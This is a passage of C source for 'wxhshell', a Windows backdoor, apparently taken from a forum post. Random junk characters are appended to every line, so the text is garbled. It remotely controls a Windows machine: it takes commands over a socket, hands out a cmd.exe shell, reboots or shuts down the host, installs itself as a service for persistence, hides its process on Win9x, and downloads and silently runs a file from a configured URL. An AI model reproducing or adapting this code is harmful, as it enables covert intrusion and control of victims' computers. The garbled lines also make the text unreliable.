      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /SYw;<=  
    break; )GHq/:1W  
  } <&C]s b  
  // 安装 iY21Ql%  
  case 'i': { J2:y6kGj>  
    if(Install()) &b:1I 7Cp*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /?SLdW  
    else lg^Z*&(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5\z `-)  
    break; >2~=)L  
    } wI(M^8F_Mf  
  // 卸载 k:7(D_  
  case 'r': { ;!yQ  
    if(Uninstall()) Gz .|]:1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H%D$(W  
    else 21"1NJzP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eJg8,7WC  
    break; t5 G9!Nn  
    } X&kp;W  
  // 显示 wxhshell 所在路径 Kr)a2rZ}SL  
  case 'p': { 1I:+MBGin  
    char svExeFile[MAX_PATH]; Bz,?{o6s)Q  
    strcpy(svExeFile,"\n\r"); ](hE^\SC  
      strcat(svExeFile,ExeFile); 4EY)!?;  
        send(wsh,svExeFile,strlen(svExeFile),0); h $2</J"  
    break; eio 4k-  
    } B {>7-0  
  // 重启 s0vDHkf8  
  case 'b': { \-g)T}g,I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |ZmUNiAa  
    if(Boot(REBOOT)) VVlr*`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q<M2,YrbAI  
    else { jyCXJa-!-  
    closesocket(wsh); q@{Bt{$x  
    ExitThread(0); lnjXD oVb<  
    } 5 sX+~Q  
    break; vam;4vyu  
    } \kZ?  
  // 关机 |:gf lseE  
  case 'd': { ff^=Ruf$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W)bLSL]`E  
    if(Boot(SHUTDOWN)) ueUuJxq)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7j-4TY~  
    else { Abc)i7!.,.  
    closesocket(wsh); -qGa]a  
    ExitThread(0); o2F)%TDY  
    } ?{[ v+t#  
    break; J\b^)  
    } y gz6C  
  // 获取shell A*\.NTM  
  case 's': { 5?x>9C a  
    CmdShell(wsh); (JOgy .5C~  
    closesocket(wsh); r8RoE`/T  
    ExitThread(0); Tc? $>'  
    break; F'21jy&  
  } K|[*t~59  
  // 退出 2GDD!w#!j  
  case 'x': { .:F%_dS D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8]9%*2"!  
    CloseIt(wsh); ;>Ib^ov  
    break; @J/K-.r  
    } koug[5T5  
  // 离开 ) AvN\sC  
  case 'q': { glDu2a,Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %WjXg:R  
    closesocket(wsh); 1n;0?MIZ  
    WSACleanup(); ?82xdp g  
    exit(1); >G25m'&,7  
    break; = %TWX[w  
        } GBPo8L"9  
  } rD 3v$B  
  } <eWf<  
^'PWI{ O  
  // 提示信息 v bZ}Z3f_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b0Ps5G\ u  
} (5-FVp fb  
  } 3EPv"f^V  
]>5/PD,wWy  
  return; 5Odhb  
} vg32y /l]S  
rC^WPW  
// shell模块句柄 u7>],<  
int CmdShell(SOCKET sock) zBzZxK>$  
{ u. F9g #  
STARTUPINFO si; VY7[)  
ZeroMemory(&si,sizeof(si)); zHM(!\8K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~qTx|",  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *nkoPVpC  
PROCESS_INFORMATION ProcessInfo; R {SF(g3  
char cmdline[]="cmd"; iv J@=pd)B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _Tm3<o.  
  return 0; ;,%fE2c  
} KW pVw!  
k_rt&}e+Gi  
// 自身启动模式 Swig;`  
int StartFromService(void) t-tg-<  
{ 8p 'L#Q.  
typedef struct g}1B;zGf  
{ j8 ^Iz  
  DWORD ExitStatus; 52Z2]T c ,  
  DWORD PebBaseAddress; .WZ^5>M-  
  DWORD AffinityMask; h-`?{k&e  
  DWORD BasePriority; m[~y@7AK<  
  ULONG UniqueProcessId; mn"G_I  
  ULONG InheritedFromUniqueProcessId; K0|FY=#2y  
}   PROCESS_BASIC_INFORMATION; 2*laAB  
#A JDWelD  
PROCNTQSIP NtQueryInformationProcess; 3u+T~g0^  
}C"%p8=HM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V^bwXr4f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?BeiY zg  
.ypL=~Rp  
  HANDLE             hProcess; ^@s1Z7  
  PROCESS_BASIC_INFORMATION pbi; Ot_]3:`J~  
6]WAUK%h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |\pj;XU  
  if(NULL == hInst ) return 0; h+g_rvIG*  
t%/&c::(6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SJn;{X>)q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [}E='m}u9+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  M^=zt  
On9A U:\  
  if (!NtQueryInformationProcess) return 0; @k,#L`3^  
P~>O S5^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "c%0P"u  
  if(!hProcess) return 0; =(j1rW!  
|6sp/38#p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q376m-+  
un mJbY;t  
  CloseHandle(hProcess); Q4#m\KK;i9  
LM<qT-/qs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?jv/TBZX4  
if(hProcess==NULL) return 0; $]/{[@5  
N2^=E1|_  
HMODULE hMod; ohGJ1  
char procName[255]; & p  
unsigned long cbNeeded; NRs13M<ftf  
dd%6t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /=nJRC3.  
2j [=\K]  
  CloseHandle(hProcess); 6,8h]?u.  
)4e.k$X^  
if(strstr(procName,"services")) return 1; // 以服务启动 n,y ZRY  
\h/H#j ZJ  
  return 0; // 注册表启动 cKca;SNql1  
} !GjQPAW  
'x#~'v*  
// 主模块 f643#1  
int StartWxhshell(LPSTR lpCmdLine) {I%cx Q#y  
{ ? =Z?6fw  
  SOCKET wsl; J5K^^RUR  
BOOL val=TRUE; @1roe G  
  int port=0; pK>N-/?a  
  struct sockaddr_in door; XJ;57n-?  
?=sDM& '  
  if(wscfg.ws_autoins) Install(); J/y83@  
O3,jg |,  
port=atoi(lpCmdLine); yLvDMPj  
<`=j^LU  
if(port<=0) port=wscfg.ws_port; UERLtSQ  
2`K=Hby  
  WSADATA data; 5{X<y#vAC0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {UI+$/v#  
y%cP1y)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xef% d G.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g wRZ%.Cn  
  door.sin_family = AF_INET; |tH4:%Q'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q~ w|#  
  door.sin_port = htons(port); 0 1rK8jX  
W' VslZG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tCH!my_  
closesocket(wsl); L ca}J&x]^  
return 1; /hR&8 `\\  
} W:2( .?  
$t[FH&c(  
  if(listen(wsl,2) == INVALID_SOCKET) { 9s q  
closesocket(wsl); Tx# Mn~xD  
return 1; /{ g>nzP  
} `4J$Et%S  
  Wxhshell(wsl); K\Wkoi5  
  WSACleanup(); iOghb*aW  
Rr]H y^w  
return 0; tXs\R(?T  
k1~&x$G  
} cOJo3p;&  
jvL[ JI,b  
// 以NT服务方式启动 Ynj,pl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =&]g "a'  
{ rglXs  
DWORD   status = 0; gPI ?C76  
  DWORD   specificError = 0xfffffff; K($Npuu]  
6<QQ@5_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r#p9x[f<Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +~$ ]} %  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EW OVx*l  
  serviceStatus.dwWin32ExitCode     = 0; sY&IquK^  
  serviceStatus.dwServiceSpecificExitCode = 0; B~ GbF*j  
  serviceStatus.dwCheckPoint       = 0; .*Y  
  serviceStatus.dwWaitHint       = 0; *i%.;Z"  
=8. ,43+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X&`t{Id?6  
  if (hServiceStatusHandle==0) return; E{`fF8]K  
LL~%f &_  
status = GetLastError(); *] ) `z8Ox  
  if (status!=NO_ERROR) vpr.Hn  
{ uo 8YP<q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jV1.Yz (`  
    serviceStatus.dwCheckPoint       = 0; wlqksG[B  
    serviceStatus.dwWaitHint       = 0; "ze|W\Bv!  
    serviceStatus.dwWin32ExitCode     = status; &j"?\f?  
    serviceStatus.dwServiceSpecificExitCode = specificError; db7B^|Di  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g8% &RG  
    return; #q=Efn'  
  } qo bc<-  
l'_r:b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q>+k@>bk @  
  serviceStatus.dwCheckPoint       = 0; JPw.8|V)y  
  serviceStatus.dwWaitHint       = 0; ]{@-HTt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ( Erc3Ac8  
} K w ]=  
sUQ@7sTj  
// 处理NT服务事件,比如:启动、停止 ?0SJfh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hHnYtq  
{ }19\.z&J  
switch(fdwControl) \_f(M|  
{ n{mfn *r.  
case SERVICE_CONTROL_STOP: +ye3HGD  
  serviceStatus.dwWin32ExitCode = 0; ?Z/V~,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n/:33DAB  
  serviceStatus.dwCheckPoint   = 0; eD6fpe\(  
  serviceStatus.dwWaitHint     = 0; @*( (1(q  
  { Q p3_f8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OQJ6e:BGt  
  } e(t\g^X  
  return; @:#eb1 <S  
case SERVICE_CONTROL_PAUSE: p<"mt]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zQd 2  
  break; )+DmOsH  
case SERVICE_CONTROL_CONTINUE: 8{sGNCvU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _-g&PXH  
  break; #@Jq~$N|  
case SERVICE_CONTROL_INTERROGATE: Ad_h K O  
  break; %Q|Atgp  
}; zK@@p+n_#.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 37o; ;  
} &Z%?!.4j@  
jNk%OrP]  
// 标准应用程序主函数 l]8uk^E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VMWf>ZU  
{ 0@oJFJrO  
 2JBR)P  
// 获取操作系统版本 4,DeHJjAlE  
OsIsNt=GetOsVer(); t b}V5VH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /k3:']G,s  
( a#BV}=  
  // 从命令行安装 pv|G^,>#  
  if(strpbrk(lpCmdLine,"iI")) Install(); <RL]  
(9dl(QSd  
  // 下载执行文件 DB,J3bm  
if(wscfg.ws_downexe) { zTU0HR3A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3[*}4}k9  
  WinExec(wscfg.ws_filenam,SW_HIDE); H4+i.*T#  
} ep{FpB  
]h5tgi?_l  
if(!OsIsNt) { eJ-nKkg~a  
// 如果时win9x,隐藏进程并且设置为注册表启动 C,4e"yynb  
HideProc(); fz "Y CHe  
StartWxhshell(lpCmdLine); pEA:L$&  
} )Pv%#P-<  
else o`-msz  
  if(StartFromService()) 6Z"X}L,*  
  // 以服务方式启动 }N52$L0[  
  StartServiceCtrlDispatcher(DispatchTable); ^iV)MTT  
else A.w.rVDD  
  // 普通方式启动 m)v &v6  
  StartWxhshell(lpCmdLine); )9]PMA?u  
1$h,m63)  
return 0; vnuN6M{  
}
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只看该作者 1 发表于: 2006-10-10
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